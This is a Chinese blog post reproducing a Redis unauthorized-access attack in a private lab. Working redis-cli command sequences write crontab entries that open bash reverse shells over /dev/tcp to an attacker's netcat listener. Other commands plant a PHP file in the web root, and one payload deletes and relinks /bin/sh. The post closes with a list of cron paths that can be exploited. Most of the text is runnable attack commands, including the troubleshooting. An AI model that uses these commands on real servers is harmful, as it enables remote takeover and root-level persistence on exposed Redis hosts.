《Redis未授權訪問getshell》復現筆記(二)

《Redis未授權訪問getshell》復現筆記(二)

復現完了寫馬getshell,我們再來複現一下利用crontab反彈shell:
使用nc.exe在攻擊機上監聽9999端口:

nc –lvvp 9999

在這裏插入圖片描述
還是使用Redis Clinet寫入如下命令

config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.8.195/9999 0>&1\n\n\n"
save

在這裏插入圖片描述
等待一分鐘……(10分鐘過去了)
emmm……
不要慌,一步一步的排查問題:

service crond status  #確認服務器是否開啓定時任務計劃服務
cat /var/spool/cron/root  #查看我們輸入的代碼是否插入到定時任務文件
tail -f /var/log/cron  #查看crontab的日誌

在這裏插入圖片描述
通過查看日誌,我們發現報錯信息:bad minute(錯誤的時間),難道是因爲執行語句前後的亂碼導致cron無法正常讀取文件中的命令?
我們vim /var/spool/cron/root手動修改root文件試試看,
在這裏插入圖片描述
等待一分鐘,成功反彈shell!
在這裏插入圖片描述
問題的原因找到了,同樣的命令,我們換個工具再試一遍。

redis-cli.exe -h 192.168.17.140
config set dir /var/spool/cron
config set dbfilename root
set xxx "\n\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.8.195/9999 0>&1\n\n\n"
save

在這裏插入圖片描述
看一下/var/spool/cron/root文件內容,\n成功識別爲換行。
在這裏插入圖片描述
稍等一分鐘,成功返回shell!
在這裏插入圖片描述

這裏再分享一個我當時復現遇到的坑:

環境介紹

靶機:kali IP:192.168.17.142
攻擊機:Win10(本機) IP:192.168.1.101

復現過程

直接輸入命令:

service apache2 start #開啓apache服務
redis-server /etc/redis.conf  # 使用/etc/目錄下的redis.conf文件中的配置啓動redis服務

在這裏插入圖片描述
訪問:http://192.168.17.142/
在這裏插入圖片描述
Web根目錄:/var/www/html/
依然通過redis-cli.exe連接redis服務,寫入phpinfo:

$ redis-cli.exe -h 192.168.17.142
redis 192.168.17.142:6379> config set dir /var/www/html
OK
redis 192.168.17.142:6379> config set dbfilename test.php
OK
redis 192.168.17.142:6379> set webshell "<?php phpinfo(); ?>"
OK
redis 192.168.17.142:6379> save
OK
redis 192.168.17.142:6379>

在這裏插入圖片描述
成功寫入,沒毛病。
在這裏插入圖片描述
我們再來試試寫入定時任務。
監聽端口:

nc –lvvp 9999

寫入定時任務:

redis-cli.exe -h 192.168.17.142
config set dir /var/spool/cron/crontabs
config set dbfilename root
set 1 "\n\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.101/9999 0>&1\n\n\n\n" 
save

等待一分鐘,並沒有彈回shell……
下面開始排查原因:

service cron status  #確認服務器是否開啓定時任務計劃服務

在這裏插入圖片描述

cat /var/spool/cron/crontabs/root  #查看我們輸入的代碼是否插入到定時任務文件

在這裏插入圖片描述

tail -f /var/log/syslog

在這裏插入圖片描述
直接手動編輯定時任務文件試試,

vim /var/spool/cron/crontabs/root

在這裏插入圖片描述

tail -f /var/log/syslog

在這裏插入圖片描述
按要求修改權限試試,

chmod 600 /var/spool/cron/crontabs/root
ls -al /var/spool/cron/crontabs/root
tail -f /var/log/syslog

在這裏插入圖片描述
還是報錯,我們看一下郵件文件夾有沒有具體的錯誤信息。

cat /var/spool/mail/mail

在這裏插入圖片描述
通過Google搜索錯誤信息:/bin/sh: Syntax error: Bad fd number得到參考(Google到的原文如下):

The problem could be, that in Ubuntu 11.x /bin/sh is linked to /bin/dash and not to bin bash. check the link:
ls -l /bin/sh
If /bin/sh is a link to /bin/dash, change it to /bin/bash.
sudo mv /bin/sh /bin/sh.orig
sudo ln -s /bin/bash /bin/sh

查看一下/bin/sh指向,

ls -l /bin/sh

在這裏插入圖片描述

vim /var/spool/cron/crontabs/root

修改內容爲:

* * * * * root rm -rf /bin/sh & ln -s /bin/bash /bin/sh & /bin/bash -i>&/dev/tcp/192.168.1.101/9999 0>&1

在這裏插入圖片描述
成功彈回shell!
在這裏插入圖片描述
重新試試利用redis-cli寫入:

set 1 "\n\n\n* * * * * root rm -rf /bin/sh & ln -s /bin/bash /bin/sh & /bin/bash -i>&/dev/tcp/192.168.1.101/9999 0>&1\n\n\n"

很遺憾因爲編碼問題,不能識別。
在這裏插入圖片描述
因爲本人水平有限,這個問題最終沒能解決。以上僅爲記錄排錯的一些思路。
歡迎各位大佬批評指正。

PS:可進行利用的cron有如下幾個地方:
/etc/crontab 這個是肯定的
/etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。
/var/spool/cron/root centos系統下root用戶的cron文件
/var/spool/cron/crontabs/root debian系統下root用戶的cron文件

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章